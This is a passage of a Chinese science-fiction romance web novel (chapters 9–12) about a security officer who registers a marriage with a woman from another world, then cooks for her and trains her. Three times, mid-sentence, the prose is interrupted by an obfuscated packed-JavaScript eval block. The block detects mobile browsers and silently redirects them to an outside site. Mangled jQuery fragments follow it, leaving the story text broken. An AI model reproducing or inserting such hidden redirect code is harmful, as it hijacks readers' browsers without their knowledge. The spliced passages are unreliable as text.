“【厄斯星】在亿万年前通过古人的努力,成功逃离了星际联邦,在这个维度安居。这些年来,有很多【时空异常】在发生,可是【厄斯星】一直都没有掌握【出去】的方法。” 李唯一将自己的想法娓娓道来,“星球的能源目前来看是很丰富的,但一直不能出去的话,更多年后,我们的后代必将要面临【资源枯竭】的绝境。” “老师,您还记得吗?沈铎教授说过,进入【厄斯星】的一切都是出不去的。” “可是我的生活,却能被另一个时空的李乐生看到。这就是物质某一方面的出去。” “而现在,李乐生来到了我的世界。” “那是否意味着,【厄斯星】和李乐生的时空,在未来,可以建立【来往】的通道呢?” 安娜瞬间恍然大悟。 “所以你是想借李乐生去研究【时空跃迁】?也对,这里毕竟你是最了解她的人,从一开始,她与【厄斯星】的链接,也是你。” “她的确很适合待在你的身边。” 【厄斯星】有望和外界时空建立【来往】的通道,这对于全球来说都是极为重要的事。 尽管目前只是一个很微小的猜想,但这个猜想至少给了他们希望。 安娜激动的有些手抖。 惊喜之余又将李唯一夸赞了一番。 “我就知道我没看错你,你竟然能这么敏锐的发现这条线索。唯一,你太棒了。” “我要立刻将这份报告提交给联邦,你一定要保护好她,往后你要多多观察她身上的一切,有任何的【磁场波动】都不能放过。” “嗯。”李唯一淡淡回应,“那我继续去结婚了。” “去吧去吧!” 9. 第 9 章 两三句话忽悠完自己的老师,李唯一便带着李乐生马不停蹄的赶往了签入的地方。 每经过一处办公地点,这位漂亮的治安队长还不忘向身边那位投以好奇目光的预备伴侣简单介绍一下。 录入大厅包含着整个诺城【居民】各种信息的签入,例如住所更换、伴侣关系登记、商业开店等等,生活中许多方面和户籍有所牵扯的,几乎都要本人来此处签到。 只是像治安官这种特殊职业,他们虽然和普通居民一样都要来此处录入信息,但两批人去的方向却不一样。 录入大厅的二楼,是专为治安官开放的信息签入处。 一出电梯,李乐生率先感受到的是一种凉意。 空旷的、无人的凉意。 正中间的圆桌上停留着大小不一的悬浮框,圆桌内空荡荡的坐落着几个黑色的椅子。 甚至周围以供来访者休息和等待的会客沙发上都是空无一人的。 哦,倒是有几个智能机器人在打扫卫生。 李乐生听到李唯一“啧”了一声。 圆桌两边各自坐落着一排机器人。 长方体的,像是一款单开门冰箱。 只是它的正面有一张十二寸的“脸”——可触摸式屏幕。 一个机器人似乎注意到了她们俩,转过身来。 本身只是亮着登录主页的脸上忽然变出一张颜文字笑脸——“>V 那机器人冲她们而来,她又听到李唯一不满的说了一句“可恶。” 内含着失望的情绪。 “你到底在生什么气啊?”李乐生终于忍不住问了出来。 李唯一闷闷不乐,“他们下班了,只能在自助机上自己办理了。” “有自助系统不好吗?我们没白跑啊。”李乐生道。 这社会的信息安全做的可真好啊。李乐生心想,办理婚姻都可以在自助机上完成。 “怎么能没白跑呢?” 在李唯一撇嘴的时候,机器人停在了她们而人的面前。 “您好,亲爱的李唯一治安官,我是小一。”孩童般的声音从机器人的体内发出来,它的脸上还在变换着各种不同的颜文字。 “很高兴为您——” 李唯一直接抬手按下了屏幕右下角的【静音模式】。 手动让机器人闭上了嘴。 随后开始熟练的在屏幕上滑动点击,启动手环,接收信息,伴侣登记…… 一系列流程走得飞快。 “结婚这种快乐幸福的事情,就是要有人祝福的。”屏幕上正在进行信息传输,二人等待的时候,李唯一开口,“我抱着你跑过来,就是要找人工办理,他们会祝福我们。” “冷冰冰的破机器人算个什么事。” “你还挺……讲究的。”李乐生哭笑不得,“该不会还要办婚礼吧?” 李唯一听到后顿了一下,转过头来,神情认真,“婚礼?是【古厄斯星人】的那种嫁娶日习俗吗?” “你们这里的人结婚不办婚礼吗?”李乐生来了兴趣。 她对于这种不同的社会风俗总是特别好奇。 李唯一点头,“【古厄斯星】的婚姻制度里存在着一定的不公平性,我们认为这种嫁娶习俗并不是婚姻的象征,更像是一种【婚姻缺陷】。” “【婚姻缺陷】?”李乐生听到这个词,明显不解。 李唯一解释,“沈铎教授在【厄斯星ting人文历史概论课】上讲过【古厄斯星人】的婚姻制度,以男女举例,婚礼举办之后,便意味着女方从家中分离,归属于男方。象征着团聚、欢乐和亲密的各种文化习俗将从此绑定在丈夫的家中,而作为妻子的女人则会和自己的【母家】分离。” “这种【婚礼】在我们看来是缺陷的象征,我们所认为的结婚是两个心爱的人缔造幸福,而他们的婚礼更像是终结了女方的【本源家庭的幸福】。” “我们的社会早在几万年前就已经废除【婚礼】了。” 确实是一种【缺陷】。 李乐生想。 就像她的爸妈,总是希望她嫁人。 嫁人意味着离开家中。 “我不想嫁给别人,我是你们的女儿,我们才是一家人。” “我想一直和你们是一家人,这样也不行吗?” 李乐生曾这样对妈妈说。 她的眼圈泛红,心中苦涩。 而妈妈只是用看病人的眼神看着她,“读书读傻了。” “哪有女孩不嫁人的?你再说这样的话,没有婆家要你。” 可是她本身就不想要这个被妈妈预设好的婆家,为什么妈妈不懂呢? “要不还是明天来吧。”李唯一忽然说道。 李乐生从回忆里抽身,抬头就看到李唯一的手停在半空,眼睛盯着屏幕似是在思考。 “你有别的办法了?”李乐生揉了揉眼角,问道。 李唯一却只是摇头否认。 “没有。” “我只是在想,明天他们上班了,我们再来办理。” “整个二楼的人都会祝福我们的。” 李乐生:“……” “形婚还需要祝福啊?” 李唯一看了过来。 她盯着李乐生,那双眼睛里的情绪捉摸不透。 “怎么了?”李乐生摸了下自己的脸,“我脸上有什么东西吗?” “没什么。”李唯一突然赌气般的转过头。 “还是赶紧办了吧。”她按下去,屏幕上忽然发出一道红光,将李乐生的全身进行了一番扫描。 她觉得别人的祝福已经无所谓了。 当务之急是先把李乐生拴在自己的关系网里。 这比什么都重要的。 “你哪来的我信息?”李乐生这次有空看屏幕了,结果发生上面对她的信息记录的很是详细。 身高、血型、体重、身体病史……应有尽有。 “刚才在治安基地的医院里,让你接受了检查。”李唯一回答。 李乐生看到甚至还有人种。 。 等等,人种? 【银河星系十万四千九百三十八元年地球新生代第四纪人种】 “这是个什么东西?”李乐生指着这离谱的人种名词,嘴巴张的老大。 李唯一扫了一眼,淡定的解释,“意思是,你来自银河系存活的第十万四千九百三十八元年,生存星球是地球,而地球时间则处于新生代第四纪。” 好绕。 不对,好长。 李乐生一时间不知道是该感叹银河系活得久,还是该感叹【厄斯星】的科技。 李乐生:“你们医院连这都能检查出来啊?” 李唯一:“他们是医院里专门治疗【异常者】的部门,自然会掌握些这方面的专业知识和设备。” 李乐生:“原来还会给【异常者】治疗的吗?” 这个她真不知道。 主要游戏她没玩到【诺城】这个部分。 “我们又不是杀人魔。【异常者】也有一些外星人种误入到此的,你就是其中之一。” “检测出你们身上没有携带任何影响厄斯星的装置,或者说本身并没有入侵意向,我们都会采取【监管】处理的,治安部会有专门人员负责。” 李乐生“哦”了一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15866566|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷不防地联想到了一件事,“那照你这么说,我现在已经被判定为无危险了,可以直接受治安部相关负责人监管。” 李唯一立马按下了确认键。 “为什么还要结婚呢?”李乐生发现了盲点。 她盯着李唯一,却发现对方脸上一如既往的镇定冷静。 “你不想看看这里的大学教育和你们的世界有什么不同吗?”李唯一问。 李乐生:“……你们的大学外人也能进吗?” 李唯一:“我是治安队长。” “确实有点兴趣。” “那你想正常的工作吗?工作完后可以去外面散步,或者直接回家,不工作的话我也有足够的钱养你,你想去【旧都】【十一区】【极地城】等等不同的城市随时都能去。想吗?” 对啊。 【厄斯星】可是个星球,除了她玩游戏时的【旧都】那座城市外,还有更多的国家和地区呢。 要是真能来个全球旅游,那她是真想。 “……想去。” 所有的信息全部录入完毕,李唯一带着李乐生进入电梯。 “治安官的伴侣享有着与治安官同等级的一切生活的自由和权利。” 仅仅这么一句话,李乐生就懂了。 “现在去哪?” “回家。” “这就完成了吗?” “信息已经录入了,明天就可以拿到你的身份手环了。” 哇塞!她还可以有自己的手环。 更开心了! 电梯门关闭。 在役治安官和预备役的治安官们都居住在治安基地。 两批人又划分了不同的区域,训练自然也不在一个区域。 因为李乐生的身体素质太差,无法使用时空跃迁,所以两个人打了个车回到了治安基地。 “你没有自己的车吗?就像电影里,主人公只需要摁一下按钮,额,你应该是对着手环点一下吧?然后你的车就会无人驾驶,从天上飞过来,停在你的面前那样子……” 李乐生手舞足蹈,讲述的甚是有画面感。 “你们的科技那么发达,应该能做到吧?” “能。但是治安官们拥有【跃迁】权限,所以我们不需要开车。” 李乐生:“哦。” 她把这件事儿给忘了。 “从明天开始,我会给你制定一些适合你的运动计划,增强一下你的身体素质。” “啊?还要运动?”不情愿。 “到时候你也可以像我一样使用【空间跃迁】,不怕出现身体不适。” “运动!必须运动!”斩钉截铁。 “但是,这个权限,我真的能用吗?”李乐生本来是坐在车窗旁的,这下屁股向内挪了好几下,几乎是贴在了李唯一的身上。 她的一只手撑着座椅,另一只手放在李唯一的膝盖上,一双眼睛里满是期待。 李唯一喜欢李乐生对她这种不设防的、无意识的亲近。 心中又升起一股窃喜。 “可以。”她避开李乐生的视线。 有些害羞的摸了摸鼻子。 “我爱你。”李乐生忽然向她表白。 李唯一立马回头,十分震惊的看着李乐生。 黑发女人直接扑在了她身上,搂住了她的脖子,“李唯一!你对我也太好了。我发誓,你是我最好的朋友,我一辈子都跟你好!” 李唯一:“嗯。” 她的手攥紧又松开,最后还是轻轻舒了口气,抬手拍了拍李乐生手臂。 “好。”她又说道。 无论如何,李乐生说了,她愿意一辈子。 10. 第 10 章 深夜。 治安基地休息区,A号楼。 昏暗的落地灯下,面朝着落地窗的那道长沙发上,正有两个人有一搭没一搭的聊着天。 落地窗外是云丛海浪,城内那些少有的高耸建筑从云海中冒出头来,似是空中小岛。 云从之下的夜间灯火通过折射,在房内人的眼中,早化成了云海之中晕染了相应色彩的花朵。 李唯一坐在沙发尾端,身子整个倚靠在扶手那边,贴着扶手的黑色小圆桌上还放着她抿了几口的酒水。 她望着落地窗外的景色,听着睡在沙发上的人碎碎念。 听着李乐生说她上班时遇到的客户有多么恶心人,控诉、气愤,但是下一秒又会说,她也遇到了有礼貌的女孩子。 “我接通电话后,听到她的声音就知道她很有礼貌,而且背景音里也能听到她舍友们笑的声音,和我大学时打电话,我舍友陪在我身边帮我出主意的时候简直一模一样,我为她服务的时候特别快乐,甚至想和她多说几句话。” 李唯一听得出来,李乐生话里的渴望和怀念,她转过头,李乐生身上盖着件毛毯,只有那颗倚在沙发扶手上的脑袋露在外面。 她的头发很长,挡住了她的脸,李唯一看不清她的表情。 “这两年,我总是做梦,我想回去大学的时候,那里有我最喜欢的舍友。” “以前呢,总听高中那些同学说什么,大学女生宿舍戏很多,说女大学生都很有心机。” “但其实我的舍友们都很好,我有一次打游戏刚开局被队友开黄腔,队伍里另一个人看我是女孩就跟着一起骂我,我不会骂人,气的在那里哭。阿云看到了就搬个凳子过来了,她都不玩游戏的,连电脑开麦键在哪里都不知道,什么都不懂但是就像个勇士一样,按着开麦键和那两个人对骂。” “阿玉就给我递纸巾擦眼泪,我当时应该是哭的[呼吸碱中毒]了,浑身没什么劲,她就帮我擦泪,还抱着我哄我。” “好像妈妈一样,哄着我,让我别哭,说我什么错都没有,说我最棒了,那两个男的就是垃圾,让我别理他们。还给我戴上了耳机,让我听音乐。” 李乐生的声音里有了几分颤意沙哑。 随后,她的声音沉默了下去。 她沉浸在那次回忆里,似乎身下的沙发就是舍友的怀抱,耳边已经响起了另一个舍友对着电脑骂的酣畅淋漓的声音,还有另一个舍友开门拎着外卖对她们说“姐妹们我回来了!”。 大学毕业前的那段时间,为了搞定三方协议,她去参加的实习工作很累。 可是当时和舍友一起实习,两个人一边当牛做马熬夜加班,一边蛐蛐老板不把实习生当人。 放假的时候就去商场吹空调,啥也不买,就是围着商场里五层楼上下电梯随便转。 实习结束后,几个人就在学校里享受着为数不多的快乐时光。 大学四年,明明那么切身的经历过,如今回想起来,却更像是一场乌托邦之梦。 “你想她们了是吗?”李唯一的声音响起,声音却比之前要高些,要近些。 李乐生的脑袋稍微蹭了蹭,抬眼就看到了蹲在她面前的白发女人。 昏黄的夜灯下,李唯一的那头白发也被蒙上了一层雾一般的淡黄色。 显得她整个人都很柔和,还带着点儿不真实。 李乐生的内眼角和鼻尖都有几分湿润。 她怎么又哭了?李乐生想。 “工作那么累,没有和她们蛐蛐吗?”李唯一伸出手摸着对方垂下来的那缕长发。 轻声询问。 “大家都很辛苦,不想把负能量传递给她们。”李乐生闷闷的回答。 又吸了下鼻子。 “你可以找我的,我不辛苦,随时都愿意听你倒苦水。”李唯一说。 她的指腹一直在慢慢摩挲着那缕长发,说完后,她的动作停顿了一下。 没等李乐生开口,李唯一又否定了自己的观点。 “算了,我似乎什么也做不了。” 她能够听到李乐生的话,却给不了李乐生任何回应。 在李乐生的世界里,她只是一段固定程序的冰冷数据,对冰冷的数据倒苦水,实在不是明智的做法。 自责的情绪再次爬了上来,随后便是低回的难过。 如果她能从【厄斯星】出去就好了,她就可以更早的去到李乐生的身边了。 可是她不能。 她只能待在这个地方,在思念李乐生、责怪李乐生的情绪中日复一日的工作。 有一段时间,她甚至有些……恨李乐生。 她想,这个人怎么能这么狠心呢? 一点儿征兆都没有,就抛弃她了。 明明李乐生那么爱她。 【“在开玩笑吗?穿七厘米的高跟鞋打架?厂商你脑子没毛病吧?方案直接不同意好吧!”】 【“我的妈呀装什么呀?你跟我都没接触过凭什么说我是个自私自利没有同理心的人啊?制作组不会以为这种男角色很受欢迎吧?傲娇退环境了谢谢,莫名其妙对我人身攻击我看都不看一眼哈。”】 【“这个发型也太好看了!果然白毛控不是说说而已,要是现实里染白发不用漂就好了。”】 【“好像再去打五次副本清清体力,就能升级攻击力了,然后技能框也扩展了,nice!”】 …… 尽管李乐生并不知道自己已经有了思想,可是她的爱却是真实的。 无论【李唯一】是谁,李乐生的爱和付出,都是直接给予【李唯一】的。 她将屏幕外李乐生的声音视作珍宝,迫切的想要增强自己的实力,去参与【时空跃迁】的实验,希望可以突破【厄斯星】的限制,能够去找李乐生。 可是还没有找到出去的方法,李乐生就抛弃了她。 她求沈铎教授帮帮她,求安娜老师帮帮她,去【时空研究所】寻求帮助。 没有人能帮助她。 她孤立无援,驾驶着飞行器妄想突破【厄斯星】的【边界】冲向宇宙,直到飞行器燃料耗尽都没有找到边界。 被迫从高空坠落,飞行器在巨大的摩擦坠落中起火爆炸。 那一刻,她理智丧失,想要和飞行器同归于尽。 然而当身体濒临死亡时,强大的精神力在她重度昏迷时让她自愈了。 那次的自杀式行为引起了不小的风波,学院与治安部派人监管了她许久。 好在李唯一的理智已经回归了,她诚恳的认错接受了处分,再次投入到了学业与训练中。 她恨李乐生。恨自己。 如果自己对于李乐生而言,并不是一串冰冷的、没有回应的数据,对方就不会不告而别了。 她想李乐生。很想李乐生。 李乐生睡着了。 没有听到李唯一那句“我似乎什么也做不了”。 女人睡着的时候,整个头几乎都埋进了沙发里,浓密的黑发掩盖着她的脸,灯光的阴影中,更加看不清对方的五官。 李唯一的手中还把玩着李乐生的那缕黑发。 她低下头,那缕黑发被她轻轻捧到了面前,闭眼,薄唇轻吻,发丝的触感是密密麻麻的。 “谢谢你,乐生。” 再次睁眼,那缕头发从她的手中滑落。 “谢谢你来到我的世界。” 她将李乐生抱起,放到了床上。 静默伫立在床头许久,李唯一转身又坐回了沙发上。 继续喝那杯未完的酒。 ID手环果真如李唯一所说,第二天就到了。 甚至是一大早。 应该是白天哭的次数太多了,着实消耗体力,李乐生昨晚这一觉睡得很沉,直接睡到了第二天。 从房间里出来后,就看到了摆在桌上的饭。 而李唯一刚从玄关处走过来,手里还拿着一个黑色的盒子。 “你拿的是什么?” “你的ID手环,已经送来了。”李唯一将盒子放在餐桌上,“纳德送来的。” 男人送来的时候,脸色并不是很平静,似是想询问什么,但是几番纠结后也没有说出口。 还是沉默的走了。 等李唯一关上门,走廊拐角里冒出了林和冬的脑袋,直接拽着纳德凑到她们二人身边。 林:“怎么样怎么样?” 冬:“队长心情如何?” 纳德:“看不出来,挺平和的。” 林:“没有见到她的那位妻子吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15869967|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 纳德皱眉:“不是都知道是李乐生了吗?昨天见过啊,有什么好奇的?” 冬:“你们【德曼】人懂不懂浪漫啊?” 纳德:“拜托,大家都是从小在【旧都】长大的,你的原籍城市回去过几次啊老把这些挂嘴上。” 走廊外的队员们还在讨论着自家队长的新婚八卦。 李唯一并不知晓队员们在干什么,即便是知道了,也不会有什么特别的反应。 在任务以外的地方,她很少去干涉自家队员。 “你自己做的饭吗?”李乐生戴着ID手环爱不释手,但也没忘记桌上的那顿早饭。 “嗯。”李唯一点头。 她换了身制服,这次是白色的,肩章是金色的,袖口处有黑色的收紧,长臂和腰身都有黑色的线条勾勒着。 靠!好帅!李乐生心中暗叹。 又高又帅的。 皮肤还白,颜值又高,仪态这块更是没得夸。 “好羡慕~”李乐生看着李唯一,目不转睛。 “你们这个世界可以把我变高吗?” 李唯一将护目镜戴上,遗憾的说道,“这是违反自然人生长法律的,联邦政府已经明令禁止了这项医学技术了。” “可是你们的人均寿命不是都超过150了吗?” “因为只是延缓生命,让身体各项数值都达到最优,而不是逆天改命。”李唯一解释道。 李乐生叹了口气,为自己失去的那十几厘米的不存在的身高默哀。 “快吃饭吧,都是你喜欢的。” “哇哦!曲奇饼干,嗯,好像是椰蓉拿铁吧?”她闻了一下杯子里的饮品,立马就猜了出来。 “是。” “还有饺子,柠檬水?哎!生煎包,吐司面包,蛋挞,糖醋里……脊?” 李乐生的惊喜在认出这些菜的时候,逐渐转为疑惑。 将吃的喝的全加一起,一共十三道菜。 “这么多,都是早餐吗?” “你喜欢的,所以我都做了。”李唯一觉得理所应当,“还有很多,中午可以做给你吃。” “我不是大胃袋。”李乐生真诚的说,“这些菜我一天三顿都不一定能吃完。” “你做了多久?” “四个小时。” “你没睡觉吗?”李乐生震惊。 “没有!睡不着,于是起来做饭了。” 她其实也觉得李乐生的存在很梦幻,生怕今天的一切只是一场梦,睡着后再醒过来,床上又是她自己。 索性不睡了。 直到晨晓日出,感应着卧室内李乐生的存在一直很清楚。 才真正放下心来。 “抱歉。”李乐生心里有点过意不去。 “你不用道歉,睡眠对我来说本身就不是必须的。作为异能者,我们就算是半个月不睡觉,身心状态都不会有任何不适。” “天生牛马啊你们这。”李乐生又忍不住吐槽了。 李唯一:“某种程度来说,确实。” 她很认真的赞同了李乐生的话。 “不过你的厨房不是有机器人吗?而且你们治安基地也有餐厅,其实没有必要专门给我做饭呀。” 昨天她和李唯一就是在餐厅吃的晚饭。 “因为书上说,为伴侣亲自做饭可以更好的维系二人的感情,能够提高幸福值。”依旧认真回答。 “……” “怎么了?是我对你造成困扰了吗?”见李乐生沉默,李唯一只好询问。 李乐生摇摇头,笑道,“没有困扰。” “这么多菜,虽然很惊讶,但我也真的很开心。” “只是我不希望你勉强自己照本宣科,昨天晚上你陪我一起看风景,听我倒苦水的时候,我就已经很幸福了。” 李唯一沉默,摸着下巴似是在思考,“不勉强,快吃饭吧。” 李乐生“嗯”了声,看了几眼餐桌上的菜,挑了几个不太油腻的吃了起来。 “你可以更幸福。”李唯一忽然说道。 李乐生咀嚼的动作停下来,她再次看向李唯一。 李唯一冲她微笑,“昨天的幸福已经过去了,你的今天,明天,后天,也该有不同的幸福。” 11. 第 11 章 李乐生讨厌跑步。 大学时的每次体测,尤其是跑八百的时候,对她来说和凌迟没什么区别。 每一年体测跑完八百后,她和舍友们几乎都是累瘫在地上,疯狂的呼吸,恨不得有个吸氧机给自己戴上。 “李唯一,你早上不是还说过让我今天有另外的幸福吗?” 李乐生站在这巨大的田径场上,周围还有不少人穿着运动套装跑步。 她自然也换上了一套短袖短裤。 李唯一给她挑的。 穿上的时候她还蛮高兴的,尤其是脚上的鞋子,轻便又舒适。 真到了田径场,李乐生又有点打退堂鼓了。 “如果我不跑步的话,就很幸福了。”李乐生明示。 身边的治安队长却只是划动着手环的悬浮屏。 紧接着李乐生的手环“滴滴”响了两下。 “什么东西?”李乐生打开手环。 悬浮屏上有一封邮件,下面显示着李唯一的那串ID。 “给你制定的锻炼计划,考虑了你身体的各项数值指标,你可以看看。”李唯一说道。 李乐生闷闷不乐的打开。 映入眼帘的就是各种五花八门的生物名词和数值测评。 【肌耐力数值承中下,乳酸阈值:运动后血乳酸>4mmol/L】 【电解质失衡:血钾、血钠数值偏低】 【体脂率过高:已大于34%】 【维生素D: …… 李乐生对于医学方面并没有太多的知识储存,但是仅靠着频繁出现的“偏低”“缺乏”等等之类的词,也能猜出个八九不离十来。 “我的身体素质很差吗?”她有些尴尬的抬头,询问李唯一。 猝不及防又被身边这个大漂亮给闪到了。 初升的朝阳下,李唯一那头漂亮的白发透着日光颇具美感,尤其是今天穿着一身白色的制服,配合着她笔直优雅的站姿,实在是耀眼。 “不是很差。”李唯一说道。 李乐生心想那还好。 “是特别差。”然后对方又给了她一个更大的反转。 “不过你放心,严格按照我的计划锻炼,还有我已经给你申请了营养剂,两者搭配起来,你的身体素质在一月后就可以达到目标数值。” 李乐生:“我谢谢你啊。” “不客气,开始吧。”李唯一做出了个请的手势。 “今天的第一项目标,长跑五圈,一共四公里。二十分钟。” 眼看李唯一如此坚持,李乐生自知对方不会改变,也不扭捏了。 总归是为了她好。 跑得了初一也跑不过十五。 硬着头皮上吧。李乐生给自己做好心理建设。 其实在过去的很多次,她也不是没有想过每天坚持跑步,给自己立个自律健康的人设。 但事实上,她的意志力在跑步这件事上实在是弱的可怜。 “我会努力跑的,但是我还是想说一句,五圈真的不容易。”李乐生已经预测到她二十分钟后的惨状了。 很是严肃的给李唯一打预防针,“如果我跑不下来,请不要批评我。” 李唯一不解的皱眉,环视了一下田径场,似乎是在疑惑为什么会跑不下来。 再次将目光放置在李乐生身上,开口,语气温和,“无论你跑的多差,我都不会批评你。” “你也要对自己有信心。” 李乐生:“好!” 她双手握拳,挺胸吸气,算是给自己打气了。 “冲!”一声令下,李乐生迈动步子跑了出去。 十分钟后。 李乐生跟条死鱼一样躺在跑道上一动也不动,不断起伏的胸腔和急促的呼吸声彰显着她鲜活的生命力。 她慢悠悠的翻了个身想站起来,结果两条腿不住地发着抖,此刻她的身体对她的四肢来说,像是一座大山,难以搬动。 李乐生口腔里更是一堆铁锈味,体内名为“肺”的器官难受的像是被无数根细针戳成了筛子,呼吸之间好像在漏风,引得她不断地咳嗽。 咳嗽一声,就是更急促的吸气,于是肺更难受了。 “真……真跑不动了……”她彻底放弃了。 她认为自己就是个扶不上墙的烂泥。 李唯一就是那堵墙。 虽然很抱歉,但是她真的到极限了。 李唯一蹲在她身边,脸上没什么表情,只是静静的等她休息。 而此刻,田径场上已经来了许多人。 基本全是治安官们。 大家都知道李唯一在昨天下午,毫无预兆的有了一位伴侣,二人还结了婚。 自然很好奇这位伴侣的身份。 要知道在整个治【厄斯星】,像李唯一这样漂亮的人都是很不多见的。 常言道,超越世人的美往往是雌雄莫辨的。 但李唯一不同,在你看到她的第一眼就会知道,她是一个女人。 一个俊秀、斯文的女人。 但最神奇的一点是,无论多帅气的男人与她同框,都会黯然失色。 她像是有一种天生的魔力,只要一出现,就是别人眼中的焦点。 就像一把剑,静时如冷玉生辉,动时似惊鸿照影。 “李队这是在训练自己的爱人啊。” “体力有点差哦,好像就跑了两圈。” “要去打个招呼吗?她的这位伴侣还蛮好说话的。” 几处人成群结队,看似散步,实则偷瞄,交头接耳的观察着李唯一她们这边。 B组的那位诺顿队长也在其中。 他们这些执行治安官在没有【异常活动】的时候,除了每日的训练,剩下的全是清闲日子。 负责监测的治安官们就不行了,要一直守在监测屋里监测数据。 现下治安部里李唯一这个独来独往的【利剑】竟然结婚了,这着实是件有趣的事。 没人能忍住不八卦一下。 “嗨!李队长。” 诺顿大摇大摆的跑过去,爽朗的同李唯一打招呼。 眼睛却落在了李乐生身上,笑道,“一大早就拉着你的妻子训练啊。” “不过是不是有点勉强她了。” 此刻周围人的耳朵都竖的老高。 李唯一转头看了眼诺顿,点头淡笑,“早上好,诺顿队长。” 打过招呼后,继续看着李乐生,“我没考虑到她的身体状况这么糟糕,制定的计划已经是最少的量了。” 李乐生此刻趴在橡胶跑道上,恨不得徒手撕开一道缝钻进去。 自己清楚的知道自己是个废人,和被一堆人看到自己是个废人,完全不是一回事啊。 “可以正常呼吸了吧。”李唯一这是在问她。 李乐生“嗯”了一声。 但是还是没动。 李唯一见状,心中明了。 打开手环悬浮屏,点了几下。 诺顿讶异的看了一眼她,又看了看自己手环接收到的信息。 “麻烦你了,诺顿队长。”李唯一说。 诺顿不由得大笑两声,“李队长,你真的是个很贴心的伴侣。” 随后这位长着鹰钩鼻的治安队长迅速通过手环下达了指令,带着其他人相继散去。 偌大的空间中很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878178|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就安静了许多。 只留有风声,还有阳光照射在身上的暖热之感。 “他们都走了,可以起来了吗?”李唯一开口。 李乐生听到这句话,半信半疑的抬头,左右望了两眼,发现此刻的田径场上真的只剩下了李唯一和她。 “你…你让他们走的?”李乐生问。 李唯一点头。 “怎么做到的?” “我告诉他们,我的爱人此时心情低落,不愿让别人看到太狼狈的样子,希望他们给我爱人一点宽容。”李唯一将手环中的指令信息转述出来。 “我的同伴们都拥有着一颗宽厚仁慈的心,他们自然愿意帮我这个忙。” 李乐生不由得感叹,羡慕道,“简直是神仙同事。” “感觉你们真的像我学过的共产主义社会,大家都好理解。” “昨天去你所说的录入大厅时也是,他们本来还在祝福我们,后来看到我们有了争执,都默默的静音了,静静的等待我们两个自己解决问题。虽然我们是假的,但是他们的祝福与尊重却是真的。”李乐生的思维又开始发散了,“他们不会事不关己的起哄,让自己的声音变成胁迫他人的武器。” “在我生活的那个城市,有的人会在大庭广众之下的【求婚】,被求婚的女孩子往往是不知道的。围观的人群们见到这样的情景就会起哄,他们本来都在各干各的事,这个时候却像一个个机器人被植入了相同的指令,很同步的将两人围在一起,然后鼓着节拍一致的掌声,异口同声的喊着‘嫁给他!嫁给他!’。” “女孩子不知所措的被他们的声音淹没,而她的面前,那个拿着玫瑰花单膝跪地的爱人却看不到她的局促和不安,只想要女孩【嫁给他】。” 李唯一没有打断她,只等着李乐生说完了才开口—— “严格来说,这是一种胁迫。” 李乐生坐起来,盘着腿,听李唯一继续说。 “在我们的社会中,认为婚姻关系,是属于二人双方的私密活动。只有二人达成一致后,才可以公之于众。就像昨天,录入大厅的群众们在确认我们二人要【结婚】的事实后,才会送出祝福。” “如你所言,当被求婚者并不知晓【求婚】的话,她首先就已经被单方面的剥夺了【选择权】。其次,男主人公的当众求婚将私人决定变成了公开表演,而围观众人同样是不尊重私人选择的,他们与求婚者共同造成的‘浪漫氛围’对于女方并不是所谓的祝福,而是‘情感勒索’。” “【厄斯星】古老的人文社会中也出现过这类婚姻民俗,正是因为知晓并以历史为鉴,所以我们的文化才会摒弃这类糟粕,发展精华。” 李乐生:“你们的历史中,是什么时候?” 李乐生思考片刻,“很久很久,那个时候的【厄斯星】甚至还没有发展出星际舰队,更不用说加入星际联邦了。当时的【厄斯星】还处于星球内部战争频发的阶段,对于外星系的探索一无所知。” 李乐生:“那确实很久了。” 要知道,亿万年前【厄斯星】都已经从联邦逃了。 “乐生。” 李唯一忽然叫她的名字。 带着种试探。 “嗯?” “以后可以不要再说,”李唯一顿了下,抿嘴,又道,“‘我们是假的’这句话了吗?” 声音中听不出任何情绪。 但是她的眼中却含着几分怯意和期待。 李乐生觉得此刻李唯一的那双眸子像一盏随时都会熄灭的灯,好像只要她答应了,就不会灭了。 “好。” 她答应了下来。 她不想这盏灯熄灭。 12. 第 12 章 李唯一这辈子仅有两次体会到过严重的挫败感。 第一次,是她听到李乐生这个异世界人类的声音,却找不到源头的时候。 第二次,是李乐生单方面的消失,而她用尽办法都无能为力的时候。 除此之外,她的人生里几乎没有“挫败感”这种体验。 而今天,这种久违的“挫败感”再次降临了。 李乐生此刻正躺在地板上叫苦连天,颇有种无病呻吟之感。 至于为什么是地板? 因为她现在还是一身汗,身上的衣服已经被汗水腌入味了,她浑身酸痛,目前实在是懒得去洗澡。 